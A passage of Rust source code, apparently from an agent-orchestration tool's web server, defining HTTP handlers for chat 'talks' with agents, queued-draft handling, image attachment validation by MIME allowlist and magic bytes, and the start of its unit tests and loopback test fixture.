5873 .map(|talk| {
5874 let thinking = ui.is_thinking(&talk.id);
5875 let cfg = configs
5876 .entry(talk.repo.clone())
5877 .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
5878 TalkView::with_config(talk, thinking, cfg.as_ref())
5879 })
5880 .collect(),
5881 ))
5882 })
5883 .await
5884}
5885
5886#[derive(Debug, Default, Deserialize)]
5891#[serde(default)]
5892struct NewTalk {
5893 agent: Option<String>,
5894 repo: Option<PathBuf>,
5895}
5896
5897async fn talk_post(
5900 State(ui): State<Arc<Ui>>,
5901 body: std::result::Result<Json<NewTalk>, JsonRejection>,
5902) -> ApiResult<impl IntoResponse> {
5903 let body = match body {
5907 Ok(Json(body)) => body,
5908 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
5909 Err(e) => return Err(ApiError::bad_request(e.body_text())),
5910 };
5911 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
5912 let cfg = config_for(&repo).await?;
5913 let view = blocking(move || {
5914 let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
5915 let thinking = ui.is_thinking(&talk.id);
5916 Ok(TalkView::new(talk, thinking))
5917 })
5918 .await?;
5919 Ok((StatusCode::CREATED, Json(view)))
5920}
5921
5922async fn talk_detail(
5924 State(ui): State<Arc<Ui>>,
5925 Path(id): Path<String>,
5926) -> ApiResult<Json<TalkDetailView>> {
5927 blocking(move || {
5928 let id = resolve_talk(&ui.talks, &id)?;
5929 let talk = ui.talks.get(&id)?;
5930 let thinking = ui.is_thinking(&talk.id);
5931 let tasks = talk::tasks_of(&ui.queue, &talk.id)
5932 .into_iter()
5933 .map(TaskView::from)
5934 .collect();
5935 let roster = Config::discover(&talk.repo, None)
5936 .map(|(cfg, _)| {
5937 cfg.agents
5938 .iter()
5939 .map(|a| RosterEntry {
5940 id: a.id.clone(),
5941 kind: a.kind,
5942 runnable: agent::installed(a),
5943 })
5944 .collect()
5945 })
5946 .unwrap_or_default();
5947 Ok(Json(TalkDetailView {
5948 view: TalkView::new(talk, thinking),
5949 tasks,
5950 roster,
5951 }))
5952 })
5953 .await
5954}
5955
5956#[derive(Debug, Default, Deserialize)]
5962#[serde(default, deny_unknown_fields)]
5963struct NewTalkTurn {
5964 text: String,
5965 attachments: Vec<String>,
5966}
5967
5968#[derive(Debug, Deserialize)]
5969#[serde(deny_unknown_fields)]
5970struct EditTalkPending {
5971 text: String,
5972 expected_text: String,
5973 expected_attachments: Vec<String>,
5974}
5975
5976#[derive(Debug, Deserialize)]
5977#[serde(deny_unknown_fields)]
5978struct ClearTalkPending {
5979 expected_text: String,
5980 expected_attachments: Vec<String>,
5981}
5982
5983async fn talk_say(
5995 State(ui): State<Arc<Ui>>,
5996 Path(id): Path<String>,
5997 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
5998) -> ApiResult<(StatusCode, Json<TalkView>)> {
5999 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6000 if body.text.trim().is_empty() && body.attachments.is_empty() {
6001 return Err(ApiError::bad_request("say something"));
6002 }
6003
6004 let id = {
6005 let ui = Arc::clone(&ui);
6006 let asked = id.clone();
6007 blocking(move || resolve_talk(&ui.talks, &asked)).await?
6008 };
6009 {
6013 let ui = Arc::clone(&ui);
6014 let id = id.clone();
6015 blocking(move || {
6016 let talk = ui.talks.get(&id)?;
6017 if !talk.status.open() {
6018 return Err(ApiError::conflict(format!(
6019 "talk {} is {} and takes no more turns",
6020 talk.short(),
6021 talk.status.as_str()
6022 )));
6023 }
6024 Ok(())
6025 })
6026 .await?;
6027 }
6028
6029 let attachments = {
6034 let ui = Arc::clone(&ui);
6035 let id = id.clone();
6036 let ids = body.attachments.clone();
6037 blocking(move || {
6038 ids.into_iter()
6039 .map(|att_id| {
6040 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
6041 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
6042 })
6043 })
6044 .collect::<ApiResult<Vec<talk::Attachment>>>()
6045 })
6046 .await?
6047 };
6048
6049 let start = {
6054 let ui = Arc::clone(&ui);
6055 let id = id.clone();
6056 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
6057 };
6058 let turn_guard = match start {
6059 TalkTurnStart::Claimed(turn_guard) => turn_guard,
6060 TalkTurnStart::Pending => {
6061 return Err(ApiError::conflict(
6062 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
6063 ));
6064 }
6065 TalkTurnStart::Busy => {
6066 let (tx, rx) = tokio::sync::oneshot::channel();
6082 tokio::spawn({
6083 let ui = Arc::clone(&ui);
6084 let id = id.clone();
6085 let said = body.text.clone();
6086 async move {
6087 let written = blocking({
6088 let ui = Arc::clone(&ui);
6089 let id = id.clone();
6090 move || {
6091 let mut talk = ui.talks.get(&id)?;
6092 #[cfg(test)]
6097 if let Some(gate) = ui
6098 .busy_queue_gate
6099 .lock()
6100 .unwrap_or_else(PoisonError::into_inner)
6101 .take()
6102 {
6103 let _ = gate.reached.send(());
6104 let _ = gate.release.recv();
6105 }
6106 if let Err(error) =
6107 talk::queue(&mut talk, &ui.talks, &said, attachments)
6108 {
6109 if let Ok(fresh) = ui.talks.get(&id) {
6110 if !fresh.status.open() {
6111 return Err(ApiError::conflict(format!(
6112 "talk {} is {} and takes no more turns",
6113 fresh.short(),
6114 fresh.status.as_str()
6115 )));
6116 }
6117 }
6118 return Err(ApiError::from(error));
6119 }
6120 let claim = match ui.begin_queued_talk_turn(&id)? {
6131 Some(turn_guard) => {
6132 let (cfg, _) = Config::discover(&talk.repo, None)?;
6133 Some((talk.clone(), cfg, turn_guard))
6134 }
6135 None => None,
6136 };
6137 let thinking = ui.is_thinking(&id);
6138 Ok((TalkView::new(talk, thinking), claim))
6139 }
6140 })
6141 .await;
6142 let (view, reclaimed) = match written {
6143 Ok(pair) => pair,
6144 Err(e) => {
6145 let _ = tx.send(Err(e));
6150 return;
6151 }
6152 };
6153 let _ = tx.send(Ok(view));
6156 if let Some((talk, cfg, turn_guard)) = reclaimed {
6157 let talks = ui.talks.clone();
6158 drain_loop(talk, talks, cfg, id, turn_guard).await;
6159 }
6160 }
6161 });
6162 let view = rx
6163 .await
6164 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6165 return Ok((StatusCode::ACCEPTED, Json(view)));
6166 }
6167 };
6168
6169 let (talk, cfg) = {
6170 let ui = Arc::clone(&ui);
6171 let id = id.clone();
6172 blocking(move || {
6173 let talk = ui.talks.get(&id)?;
6174 let (cfg, _) = Config::discover(&talk.repo, None)?;
6175 Ok((talk, cfg))
6176 })
6177 .await?
6178 };
6179
6180 let talks = ui.talks.clone();
6181 let (tx, rx) = tokio::sync::oneshot::channel();
6196 tokio::spawn({
6197 let ui = Arc::clone(&ui);
6198 let talks = talks.clone();
6199 let id = id.clone();
6200 let said = body.text.clone();
6201 let mut talk = talk.clone();
6202 async move {
6203 let recorded = blocking({
6204 let talks = talks.clone();
6205 move || {
6206 if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
6207 if let Ok(fresh) = talks.get(&talk.id) {
6208 if !fresh.status.open() {
6209 return Err(ApiError::conflict(format!(
6210 "talk {} is {} and takes no more turns",
6211 fresh.short(),
6212 fresh.status.as_str()
6213 )));
6214 }
6215 }
6216 return Err(ApiError::from(error));
6217 }
6218 Ok((said.trim().to_owned(), talk))
6224 }
6225 })
6226 .await;
6227 let (text, mut talk) = match recorded {
6228 Ok(pair) => pair,
6229 Err(e) => {
6230 let _ = tx.send(Err(e));
6234 return;
6235 }
6236 };
6237 let queued = talk.clone();
6238 let thinking = ui.is_thinking(&id);
6239 let _ = tx.send(Ok((queued, thinking)));
6242
6243 if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &text).await {
6244 tracing::warn!("talk {id} turn failed: {e:#}");
6248 }
6249 drain_loop(talk, talks, cfg, id, turn_guard).await;
6252 }
6253 });
6254
6255 let (queued, thinking) = rx
6256 .await
6257 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6258
6259 Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
6261}
6262
6263async fn talk_pending_resume(
6267 State(ui): State<Arc<Ui>>,
6268 Path(id): Path<String>,
6269) -> ApiResult<(StatusCode, Json<TalkView>)> {
6270 let id = {
6271 let ui = Arc::clone(&ui);
6272 let asked = id.clone();
6273 blocking(move || resolve_talk(&ui.talks, &asked)).await?
6274 };
6275 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6276 return Err(ApiError::conflict(
6277 "a talk turn is already running; the queued draft will be handled by it",
6278 ));
6279 };
6280 let (talk, cfg) = {
6281 let ui = Arc::clone(&ui);
6282 let id = id.clone();
6283 blocking(move || {
6284 let talk = ui.talks.get(&id)?;
6285 if !talk.status.open() {
6286 return Err(ApiError::conflict(format!(
6287 "talk {} is {} and takes no more turns",
6288 talk.short(),
6289 talk.status.as_str()
6290 )));
6291 }
6292 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
6293 return Err(ApiError::conflict("there is no queued draft to resume"));
6294 }
6295 let (cfg, _) = Config::discover(&talk.repo, None)?;
6296 Ok((talk, cfg))
6297 })
6298 .await?
6299 };
6300 let view = TalkView::new(talk.clone(), true);
6301 let talks = ui.talks.clone();
6302 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6303 Ok((StatusCode::ACCEPTED, Json(view)))
6304}
6305
6306async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
6322 let live_set = Arc::clone(&turn.turns);
6323 let mut turn = Some(turn);
6331 loop {
6332 let observed = live_set
6336 .lock()
6337 .unwrap_or_else(PoisonError::into_inner)
6338 .queued
6339 .get(&id)
6340 .copied()
6341 .unwrap_or(0);
6342 let drained = blocking({
6343 let talks = talks.clone();
6344 move || {
6345 let result = talk::drain(&mut talk, &talks);
6346 Ok((talk, result))
6347 }
6348 })
6349 .await;
6350 let (next_talk, result) = match drained {
6351 Ok(drained) => drained,
6352 Err(e) => {
6353 tracing::warn!(
6354 status = %e.status,
6355 message = %e.message,
6356 "talk {id} could not start queued-text drain"
6357 );
6358 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6359 turn.take()
6360 .expect("held for the whole loop until released here")
6361 .release(&mut live);
6362 break;
6363 }
6364 };
6365 talk = next_talk;
6366 let drained = match result {
6367 Ok(Some(drained)) => drained,
6368 Ok(None) => {
6369 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6370 if live.queued.get(&id).copied().unwrap_or(0) != observed {
6371 continue;
6372 }
6373 turn.take()
6374 .expect("held for the whole loop until released here")
6375 .release(&mut live);
6376 break;
6377 }
6378 Err(e) => {
6379 tracing::warn!("talk {id} could not drain queued text: {e:#}");
6380 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6381 turn.take()
6382 .expect("held for the whole loop until released here")
6383 .release(&mut live);
6384 break;
6385 }
6386 };
6387 if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &drained).await {
6388 tracing::warn!("talk {id} turn failed: {e:#}");
6389 }
6390 }
6391}
6392
6393async fn talk_pending_clear(
6395 State(ui): State<Arc<Ui>>,
6396 Path(id): Path<String>,
6397 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
6398) -> ApiResult<Json<TalkView>> {
6399 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6400 blocking(move || {
6401 let id = resolve_talk(&ui.talks, &id)?;
6402 let mut talk = ui.talks.get(&id)?;
6403 if !talk.status.open() {
6404 return Err(ApiError::conflict(format!(
6405 "talk {} is {} and takes no more turns",
6406 talk.short(),
6407 talk.status.as_str()
6408 )));
6409 }
6410 if !talk::clear_pending_if_matches(
6411 &mut talk,
6412 &ui.talks,
6413 &body.expected_text,
6414 &body.expected_attachments,
6415 )? {
6416 return Err(ApiError::conflict(
6417 "queued message changed; reload it before clearing",
6418 ));
6419 }
6420 let thinking = ui.is_thinking(&talk.id);
6421 Ok(Json(TalkView::new(talk, thinking)))
6422 })
6423 .await
6424}
6425
6426async fn talk_pending_edit(
6430 State(ui): State<Arc<Ui>>,
6431 Path(id): Path<String>,
6432 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
6433) -> ApiResult<Json<TalkView>> {
6434 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6435 let (view, reclaimed) = blocking({
6436 let ui = Arc::clone(&ui);
6437 move || {
6438 let id = resolve_talk(&ui.talks, &id)?;
6439 let mut talk = ui.talks.get(&id)?;
6440 if !talk.status.open() {
6441 return Err(ApiError::conflict(format!(
6442 "talk {} is {} and takes no more turns",
6443 talk.short(),
6444 talk.status.as_str()
6445 )));
6446 }
6447 if !talk::edit_pending_text(
6448 &mut talk,
6449 &ui.talks,
6450 &body.text,
6451 &body.expected_text,
6452 &body.expected_attachments,
6453 )? {
6454 return Err(ApiError::conflict(
6455 "queued message changed; reload it before editing",
6456 ));
6457 }
6458 let claim = match ui.begin_queued_talk_turn(&id)? {
6459 Some(turn_guard) => {
6460 let (cfg, _) = Config::discover(&talk.repo, None)?;
6461 Some((talk.clone(), cfg, id.clone(), turn_guard))
6462 }
6463 None => None,
6464 };
6465 let thinking = ui.is_thinking(&id);
6466 Ok((TalkView::new(talk, thinking), claim))
6467 }
6468 })
6469 .await?;
6470 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
6471 let talks = ui.talks.clone();
6472 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6473 }
6474 Ok(Json(view))
6475}
6476
6477#[derive(Debug, Deserialize)]
6479struct TalkAgent {
6480 agent: String,
6481}
6482
6483async fn talk_agent(
6488 State(ui): State<Arc<Ui>>,
6489 Path(id): Path<String>,
6490 Json(body): Json<TalkAgent>,
6491) -> ApiResult<Json<TalkView>> {
6492 let id = {
6493 let ui = Arc::clone(&ui);
6494 blocking(move || resolve_talk(&ui.talks, &id)).await?
6495 };
6496 let repo = {
6497 let ui = Arc::clone(&ui);
6498 let id = id.clone();
6499 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
6500 };
6501 let cfg = config_for(&repo).await?;
6502 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6503 return Err(ApiError::conflict(
6504 "a talk turn is running; change the agent once it has answered",
6505 ));
6506 };
6507 let switched = {
6508 let ui = Arc::clone(&ui);
6509 let id = id.clone();
6510 let cfg = cfg.clone();
6511 blocking(move || {
6512 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
6513 .map_err(ApiError::bad_request_from)?;
6514 let mut talk = ui.talks.get(&id)?;
6515 if !talk.status.open() {
6516 return Err(ApiError::conflict(format!(
6517 "talk {} is {} and takes no more turns",
6518 talk.short(),
6519 talk.status.as_str()
6520 )));
6521 }
6522 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
6523 Ok(talk)
6524 })
6525 .await
6526 };
6527 let fresh = {
6532 let ui = Arc::clone(&ui);
6533 let id = id.clone();
6534 blocking(move || Ok(ui.talks.get(&id)?)).await
6535 };
6536 let draining = match fresh {
6537 Ok(talk) => {
6538 let draining = talk.status.open()
6539 && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
6540 let talks = ui.talks.clone();
6541 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6542 draining
6543 }
6544 Err(_) => false,
6545 };
6546 let talk = switched?;
6547 Ok(Json(TalkView::new(talk, draining)))
6548}
6549
6550async fn talk_close(
6552 State(ui): State<Arc<Ui>>,
6553 Path(id): Path<String>,
6554) -> ApiResult<Json<TalkView>> {
6555 blocking(move || {
6556 let id = resolve_talk(&ui.talks, &id)?;
6557 let mut talk = ui.talks.get(&id)?;
6558 talk::close(&mut talk, &ui.talks)?;
6559 let thinking = ui.is_thinking(&talk.id);
6560 Ok(Json(TalkView::new(talk, thinking)))
6561 })
6562 .await
6563}
6564
6565async fn talk_reopen(
6567 State(ui): State<Arc<Ui>>,
6568 Path(id): Path<String>,
6569) -> ApiResult<Json<TalkView>> {
6570 blocking(move || {
6571 let id = resolve_talk(&ui.talks, &id)?;
6572 let mut talk = ui.talks.get(&id)?;
6573 talk::reopen(&mut talk, &ui.talks)?;
6574 let thinking = ui.is_thinking(&talk.id);
6575 Ok(Json(TalkView::new(talk, thinking)))
6576 })
6577 .await
6578}
6579
6580async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
6590 blocking(move || {
6591 let id = resolve_talk(&ui.talks, &id)?;
6592 ui.talks.remove(&id)?;
6593 Ok(StatusCode::NO_CONTENT)
6594 })
6595 .await
6596}
6597
6598fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
6600 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
6601}
6602
6603async fn talk_attachment_post(
6606 State(ui): State<Arc<Ui>>,
6607 Path(id): Path<String>,
6608 headers: HeaderMap,
6609 body: Bytes,
6610) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
6611 let mime = validate_attachment(&headers, &body)?;
6612 let name = filename_header(&headers);
6613 let data = body.to_vec();
6614 blocking(move || {
6615 let id = resolve_talk(&ui.talks, &id)?;
6616 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
6617 Ok((StatusCode::CREATED, Json(att)))
6618 })
6619 .await
6620}
6621
6622async fn talk_attachment_get(
6625 State(ui): State<Arc<Ui>>,
6626 Path((id, att)): Path<(String, String)>,
6627) -> ApiResult<Response> {
6628 blocking(move || {
6629 let id = resolve_talk(&ui.talks, &id)?;
6630 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
6631 return Err(ApiError::not_found(format!(
6632 "talk {id} has no attachment `{att}`"
6633 )));
6634 };
6635 Ok(attachment_response(&meta.mime, data))
6636 })
6637 .await
6638}
6639
6640fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
6651 if data.len() > ATTACHMENT_MAX_BYTES {
6652 return Err(ApiError::bad_request(format!(
6653 "attachment is {} bytes, over the {} MiB limit",
6654 data.len(),
6655 ATTACHMENT_MAX_BYTES / (1024 * 1024)
6656 ))
6657 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
6658 }
6659 if data.is_empty() {
6660 return Err(ApiError::bad_request("attachment is empty"));
6661 }
6662 let declared = declared_mime(headers)?;
6663 match sniffed_mime(data) {
6664 Some(sniffed) if sniffed == declared => Ok(declared),
6665 Some(sniffed) => Err(ApiError::bad_request(format!(
6666 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
6667 ))),
6668 None => Err(ApiError::bad_request(
6669 "the file's bytes do not match any accepted image format",
6670 )),
6671 }
6672}
6673
6674fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
6678 let raw = headers
6679 .get(header::CONTENT_TYPE)
6680 .and_then(|v| v.to_str().ok())
6681 .unwrap_or("")
6682 .split(';')
6683 .next()
6684 .unwrap_or("")
6685 .trim()
6686 .to_ascii_lowercase();
6687 ATTACHMENT_MIME_WHITELIST
6688 .iter()
6689 .find(|&&m| m == raw)
6690 .copied()
6691 .ok_or_else(|| {
6692 if raw == "image/svg+xml" {
6693 ApiError::bad_request(
6694 "SVG is not accepted: it can carry active content (e.g. a <script>), \
6695 not just a picture",
6696 )
6697 } else if raw.is_empty() {
6698 ApiError::bad_request("Content-Type is required for an attachment upload")
6699 } else {
6700 ApiError::bad_request(format!(
6701 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
6702 image/gif or image/webp"
6703 ))
6704 }
6705 })
6706}
6707
6708fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
6711 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
6712 Some("image/png")
6713 } else if data.starts_with(b"\xff\xd8\xff") {
6714 Some("image/jpeg")
6715 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
6716 Some("image/gif")
6717 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
6718 Some("image/webp")
6719 } else {
6720 None
6721 }
6722}
6723
6724fn filename_header(headers: &HeaderMap) -> String {
6730 headers
6731 .get(FILENAME_HEADER)
6732 .and_then(|v| v.to_str().ok())
6733 .map(str::trim)
6734 .filter(|s| !s.is_empty())
6735 .unwrap_or("attachment")
6736 .to_owned()
6737}
6738
6739fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
6746 let content_type = ATTACHMENT_MIME_WHITELIST
6747 .iter()
6748 .find(|&&m| m == mime)
6749 .copied()
6750 .unwrap_or("application/octet-stream");
6751 (
6752 [
6753 (header::CONTENT_TYPE, content_type),
6754 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
6755 ],
6756 body,
6757 )
6758 .into_response()
6759}
6760
6761async fn config_for(repo: &FsPath) -> ApiResult<Config> {
6769 let repo = repo.to_path_buf();
6770 blocking(move || {
6771 let (cfg, _) = Config::discover(&repo, None)?;
6772 Ok(cfg)
6773 })
6774 .await
6775}
6776
6777fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
6783 let mut hits = ids
6784 .into_iter()
6785 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
6786 match (hits.next(), hits.next()) {
6787 (Some(one), None) => Ok(one),
6788 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
6789 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
6790 "`{prefix}` matches more than one {what}, including {a} and {b}"
6791 ))),
6792 }
6793}
6794
6795#[cfg(test)]
6796mod tests {
6797
6798 #[test]
6799 fn holder_reads_the_lease_not_the_record() {
6800 let mut q = Question::new(
6801 "run".to_owned(),
6802 "implement".to_owned(),
6803 "impl-A".to_owned(),
6804 "which?".to_owned(),
6805 String::new(),
6806 Vec::new(),
6807 );
6808 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
6809 q.cwd = Some("/tmp".to_owned());
6810 assert_eq!(holder_of(&q, None), Some("nobody"));
6811 let beat = |kind, ago: i64| ask::Lease {
6812 kind,
6813 pid: 1,
6814 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
6815 .unwrap(),
6816 };
6817 let fresh = beat(ask::WaiterKind::Asker, 1);
6818 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
6819 let daemon = beat(ask::WaiterKind::Daemon, 1);
6820 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
6821 let stale = beat(ask::WaiterKind::Asker, 3600);
6822 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
6823
6824 let mut c = Question::new(
6827 "task".to_owned(),
6828 crate::conduct::NODE.to_owned(),
6829 "conduct".to_owned(),
6830 "which?".to_owned(),
6831 String::new(),
6832 Vec::new(),
6833 );
6834 assert_eq!(holder_of(&c, None), Some("nobody"));
6835 c.cwd = Some("/tmp".to_owned());
6836 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
6837 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
6838 let deputy = beat(ask::WaiterKind::Deputy, 1);
6839 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
6840 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
6841
6842 let mut r = Question::new(
6844 String::new(),
6845 crate::bump::NOTICE_NODE.to_owned(),
6846 "release-watch".to_owned(),
6847 "stuck?".to_owned(),
6848 String::new(),
6849 vec!["hold".to_owned()],
6850 );
6851 assert_eq!(holder_of(&r, None), Some("nobody"));
6852 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
6853 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
6854 r.deputy = None;
6856 r.seat = "bump".to_owned();
6857 assert_eq!(holder_of(&r, None), None);
6858
6859 let mut m = Question::new(
6862 "run".to_owned(),
6863 crate::land::APPROVAL_NODE.to_owned(),
6864 "land".to_owned(),
6865 "merge?".to_owned(),
6866 String::new(),
6867 Vec::new(),
6868 );
6869 assert_eq!(holder_of(&m, None), Some("nobody"));
6870 assert_eq!(
6871 holder_of(&m, Some(&fresh)),
6872 Some("nobody"),
6873 "a lease with no deputy is not a listener"
6874 );
6875 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
6876 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
6877 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
6878 assert_eq!(holder_of(&m, None), Some("nobody"));
6879 }
6880
6881 fn stub_config() -> Config {
6882 Config {
6885 agents: vec![crate::config::AgentSpec {
6886 id: "stub".to_owned(),
6887 kind: AgentKind::Command,
6888 model: None,
6889 command: vec!["true".to_owned()],
6890 extra_args: Vec::new(),
6891 env: Default::default(),
6892 prompt_delivery: None,
6893 }],
6894 ..Config::default()
6895 }
6896 }
6897
6898 fn plain_question(seat: &str) -> Question {
6899 Question::new(
6900 String::new(),
6901 "n".to_owned(),
6902 seat.to_owned(),
6903 "s".to_owned(),
6904 String::new(),
6905 Vec::new(),
6906 )
6907 }
6908
6909 #[test]
6910 fn deputies_enabled_follows_the_config() {
6911 let on = stub_config();
6912 assert!(crate::deputy::can_start(Some(&on), ""));
6913 assert!(crate::deputy::can_start(Some(&on), "stub"));
6914 let mut off = on.clone();
6915 off.daemon.max_deputies = 0;
6916 assert!(!crate::deputy::can_start(Some(&off), ""));
6917 let mut empty = on;
6918 empty.agents.clear();
6919 assert!(!crate::deputy::can_start(Some(&empty), ""));
6920 assert!(!crate::deputy::can_start(None, ""));
6921 }
6922
6923 #[test]
6924 fn question_views_load_the_config_once() {
6925 let dir = TempDir::new().unwrap();
6926 let store = ask::Questions::at(dir.path().to_path_buf());
6927 let mut with_deputy = plain_question("b");
6928 with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
6929 let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
6930
6931 let calls = std::cell::Cell::new(0usize);
6932 let views = question_views(qs.clone(), &store, || {
6933 calls.set(calls.get() + 1);
6934 Some(stub_config())
6935 });
6936 assert_eq!(calls.get(), 1);
6937 assert_eq!(views.len(), 3);
6938 for (v, q) in views.iter().zip(&qs) {
6939 assert_eq!(
6940 v.deputies_enabled,
6941 crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
6942 );
6943 }
6944
6945 let views = question_views(qs, &store, || None);
6946 assert!(views.iter().all(|v| !v.deputies_enabled));
6947
6948 let calls = std::cell::Cell::new(0usize);
6949 let views = question_views(Vec::new(), &store, || {
6950 calls.set(calls.get() + 1);
6951 None
6952 });
6953 assert!(views.is_empty());
6954 assert_eq!(calls.get(), 0);
6955 }
6956
6957 use pretty_assertions::assert_eq;
6958 use serde_json::Value;
6959 use tempfile::TempDir;
6960 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
6961
6962 use super::*;
6963 use crate::config::Config;
6964 use crate::queue::Source;
6965
6966 const SETTLE_STEPS: usize = 3_000;
6977
6978 struct Fixture {
6984 home: TempDir,
6985 addr: SocketAddr,
6986 }
6987
6988 impl Fixture {
6989 async fn start() -> Self {
6990 Self::with_loop(launch_idle).await
6991 }
6992
6993 async fn with_loop(launch: Launch) -> Self {
6995 let home = TempDir::new().expect("temp home");
6996 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
6997 Self { home, addr }
6998 }
6999
7000 async fn with_repo(repo: PathBuf) -> Self {
7004 let home = TempDir::new().expect("temp home");
7005 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
7006 Self { home, addr }
7007 }
7008
7009 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
7012 let home = TempDir::new().expect("temp home");
7013 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
7014 Self { home, addr }
7015 }
7016
7017 async fn serve(
7018 home: &FsPath,
7019 repo: PathBuf,
7020 launch: Launch,
7021 machine: Option<PathBuf>,
7022 ) -> SocketAddr {
7023 let queue = Queue::at(home.join("queue"));
7024 let runs = home.join("runs");
7025 std::fs::create_dir_all(&runs).expect("runs dir");
7026 let worktrees = home.join("wt").join("magi");
7027 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
7028 let ui = Ui::new(
7029 queue,
7030 Questions::at(home.join("questions")),
7031 Talks::at(home.join("talks")),
7032 runs,
7033 home.to_path_buf(),
7034 repo,
7035 )
7036 .with_worktrees_root(worktrees)
7037 .with_machine_config(machine)
7038 .with_launch(launch);
7039 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
7040 .await
7041 .expect("bind loopback");
7042 let addr = listener.local_addr().expect("local addr");
7043 tokio::spawn(async move {
7044 let _ = axum::serve(listener, ui.router()).await;
7045 });
7046 addr
7047 }
7048
7049 fn queue(&self) -> Queue {
7050 Queue::at(self.home.path().join("queue"))
7051 }
7052
7053 fn questions(&self) -> Questions {
7054 Questions::at(self.home.path().join("questions"))
7055 }
7056
7057 fn talks(&self) -> Talks {
7058 Talks::at(self.home.path().join("talks"))
7059 }
7060
7061 fn runs(&self) -> PathBuf {
7062 self.home.path().join("runs")
7063 }
7064
7065 async fn get(&self, path: &str) -> Res {
7066 request(self.addr, "GET", path, None).await
7067 }
7068
7069 async fn head(&self, path: &str) -> Res {
7074 request(self.addr, "HEAD", path, None).await
7075 }
7076
7077 async fn post(&self, path: &str, body: Option<&str>) -> Res {
7078 request(self.addr, "POST", path, body).await
7079 }
7080
7081 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
7082 request_with(self.addr, "GET", path, None, extra).await
7083 }
7084
7085 async fn delete(&self, path: &str) -> Res {
7086 request(self.addr, "DELETE", path, None).await
7087 }
7088
7089 async fn put(&self, path: &str, body: &str) -> Res {
7090 request(self.addr, "PUT", path, Some(body)).await
